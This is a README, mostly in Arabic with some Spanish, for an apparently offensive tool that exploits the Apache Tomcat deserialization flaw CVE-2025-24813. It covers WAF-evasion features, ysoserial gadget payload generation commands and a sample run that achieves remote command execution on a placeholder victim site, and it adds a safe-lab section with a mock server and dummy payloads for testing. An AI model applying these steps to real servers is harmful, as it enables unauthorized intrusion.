
يحتوي هذا المستودع على استغلال (Exploit) آلي تم تطويره لأغراض تعليمية وبحثية في مجال الأمن السيبراني، ويهدف إلى إظهار ثغرة محتملة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Tomcat (CVE-2025-24813).
صُممت هذه الأداة كـحزمة استغلال مستقبلية تركّز على:
🧪 مصممة لمحترفي الأمن السيبراني، والباحثين، ومختبري الاختراق (Pentesters)، وفرق Red Teams.
✅ واجهة تفاعلية وبديهية
✅ حمولات ديناميكية (ysoserial أو Java مُجمَّعة)
✅ ترويسات متغيرة (كاميليونية) مضادة لـ WAF
✅ تجاوز تلقائي + تجزئة الحمولات
✅ تحديد بصمة التنفيذ في الواجهة الخلفية (Backend)
✅ تسجيل مفصّل لكل هدف
✅ شعار (Banner) ديناميكي بأسلوب Cyberpunk (🔮 رسوم متحركة بتأثير glitch)
✅ Live feedback في وحدة التحكم (مع Rich & Colorama)
ثبّت المتطلبات اللازمة باستخدام:
pip install -r requirements.txt
التبعيات:
requests
colorama
rich
validators
وتأكد من توفر:
Java وjavac في PATHysoserial.jar إذا كنت تستخدم حمولة من نوع ysoserialشغّل السكربت:
python3 POC-Exploit_CVE_2025_24813.py
وأكمل الإعدادات:
🧬 اختر نوع الحمولة 💣 حدّد الأمر 🌐 أدخل عنوان URL للهدف 🔧 اضبط التجاوز وإعدادات SSL
🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no
🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'
┌──────────────────────────────┐
│ Modo Interactivo │
├──────────────────────────────┤
│ Validación de URL │
│ Detección de sesión │
│ Detección de WAF │
│ Generación de payload │
│ Subida evasiva via PUT │
│ Verificación de ejecución │
└──────────────────────────────┘
↘ LOGS POR OBJETIVO
ysoserial، ويقوم بتسلسل أدوات (Gadgets) قابلة للاستغلال لتنفيذ الأوامر..java مخصصاً ينفّذ الأمر عن بُعد من الخادم.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Script principal
ysoserial.jar # Requerido si usas 'ysoserial'
logs/ # Carpeta de logs individuales por objetivo
payload.ser # Payload generado temporalmente
Exploit.java / .class # Archivos temporales para Java
صُنعت هذه الأداة لأغراض قانونية وتعليمية حصراً.
✅ مسموح:
🚫 ممنوع:
لا يتحمل المؤلف ولا المساهمون أي مسؤولية عن سوء الاستخدام. أنت مسؤول عن سلوكك.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: تنفيذ التعليمات البرمجية عن بُعد في Apache Tomcat 🔗 عرض التفاصيل على CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
راجع ملف
LICENSEلمزيد من المعلومات.
صُمم هذا README والسكربت لتقديم تجربة غامرة، بصرية وأنيقة، تنسجم مع عصر جديد من الأمن السيبراني المستقبلي الهادف.
✨ ليست مجرد استغلالات... بل سيمفونية تقنية من التجاوز والتحكم الرقمي.
الإصدار الموصى به: Python 3.8+
مكتبات Python التي يجب تثبيتها:
pip install requests colorama
يستخدم السكربت شكلين من الحمولات:
لذلك تحتاج إلى:
Java JDK (وليس JRE فقط، لأن الكود يُجمَّع). تحقق باستخدام:
java -version
javac -version
إذا كان كلا الأمرين يعملان، فأنت جاهز.
حمّل ملف .jar من هنا 👉 https://github.com/frohoff/ysoserial
احفظه في نفس دليل السكربت أو حدد المسار الكامل عندما يُطلب منك ذلك. مثال:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) الآلة الحاسبة.gnome-calculator أو xcalc.تثبيت Python 3.8+
تثبيت المكتبات:
pip install requests colorama etc
تثبيت Java JDK 8+
java -version
javac -version
تنزيل ysoserial.jar في مجلد السكربت.
👉 بعد كل ما سبق، ستتمكن من تشغيل السكربت في وضع المختبر الآمن (فقط داخل بيئات خاضعة للتحكم، ولأغراض الاختبار).
الإصدار: 1.0 الغرض: يشرح هذا الدليل كيفية إعداد بيئة آمنة تماماً لاختبار السكربت لديك دون التأثير على أنظمة حقيقية. يتضمن خادم اختبار (Mock)، ووضعاً آمناً (DRY_RUN / SAFE_TEST)، وخطوات واضحة لتشغيل الأداة في المختبر.
pip.virtualenv أو venv.ثبّت التبعيات:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
ملاحظة: تُستخدم
flaskفقط لخادم الاختبار المحلي (Mock).
أنشئ ملفاً باسم mock_server.py يتضمن هذا المحتوى. يحاكي الخادم نقاط النهاية (Endpoints) التي يتوقعها السكربت ويعيد حالات خاضعة للتحكم (200، 409، 500) لتتمكن من التحقق من منطق السكربت دون لمس خوادم حقيقية.
# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simula un recurso escribible
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
طريقة تشغيله:
python mock_server.py
# El mock quedará escuchando en http://127.0.0.1:8000
لأغراض الاختبار لا تحتاج إلى توليد حمولات حقيقية. أنشئ ملفاً بسيطاً يمكن للسكربت رفعه:
echo "DUMMY_PAYLOAD" > payload.ser
لا يحتوي هذا الملف على كود قابل للتنفيذ: فهو يُستخدم فقط للتحقق من منطق الرفع وملاحظة استجابات خادم الاختبار.
لتجنب قيام السكربت باستدعاء أدوات خارجية (Java/ysoserial) أو تنفيذ إجراءات خطيرة، أضف هذه الكتلة في بداية السكربت الرئيسي (قبل أي توليد أو استدعاء لـ subprocess):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
ثم عدّل (أو لفّ) دوال التوليد/الرفع لتتصرف بأمان عندما تكون قيمة SAFE_TEST هي True.
مثال على أدنى تعديل ممكن للدالتين generate_ysoserial_payload وgenerate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
وفي دالة upload_and_verify_payload، إذا كانت SAFE_TEST هي True، فاستخدم التدفق الطبيعي (سيتقبله خادم الاختبار) لكن لا تنفّذ أي أوامر خارج السكربت.
طريقة تفعيل SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
شغّل بيئتك الافتراضية وتأكد من تثبيت التبعيات (راجع قسم المتطلبات).
شغّل mock_server.py:
python mock_server.py
أنشئ الحمولة التجريبية إذا لم تستخدم SAFE_TEST أو إذا لم يقم هو بإنشاء الحمولة نيابة عنك:
echo "DUMMY_PAYLOAD" > payload.ser
فعّل الوضع الآمن في الطرفية:
export SAFE_TEST=1 # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"
شغّل السكربت الرئيسي:
python3 tu_script.py
أجب على الأسئلة التفاعلية (ستستخدم قيماً مخبرية):
http://127.0.0.1:8000ysoserial (مع SAFE_TEST=1، سينشئ السكربت حمولة تجريبية بدلاً من استدعاء أدوات خارجية)ysoserial.jar — لن يُستخدم في الوضع الآمن)no (لأن خادم الاختبار يستخدم HTTP)لاحظ المخرجات في وحدة التحكم: ينبغي أن ترى رسائل Server is writable via PUT وPayload uploaded with status 409 وExploit succeeded! Server returned 500 after deserialization. — هذا يحدث فقط في خادم الاختبار ويعني أن التدفق المنطقي للسكربت يعمل.
راجع السجلات في logs/ — يحفظ السكربت إدخالات بطوابع زمنية. على سبيل المثال logs/127_0_0_1_8000.log (تبعاً لاسم الهدف المنقّى).
check_writable_servlet أمر PUT الناجح إلى نقطة النهاية /check.txt.payload.ser، يعيد خادم الاختبار 409 ومن ثم يقوم السكربت بطلب GET باستخدام الكوكي JSESSIONID.استخدم pytest وrequests-mock لمحاكاة استجابات HTTP.
أنشئ اختبارات من أجل:
validate_url — مدخلات صالحة/خاطئة.retry_request — محاكاة الاستثناءات وإعادة المحاولات.detect_waf — محاكاة ترويسات Server مع التواقيع وبدونها.upload_and_verify_payload — استخدام خادم الاختبار للتحقق من صحة التدفق.مثال بسيط باستخدام requests-mock (هيكل أساسي):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# usa requests_mock para simular un GET y comprobar retry_request
pass
المؤلف: ByMakavali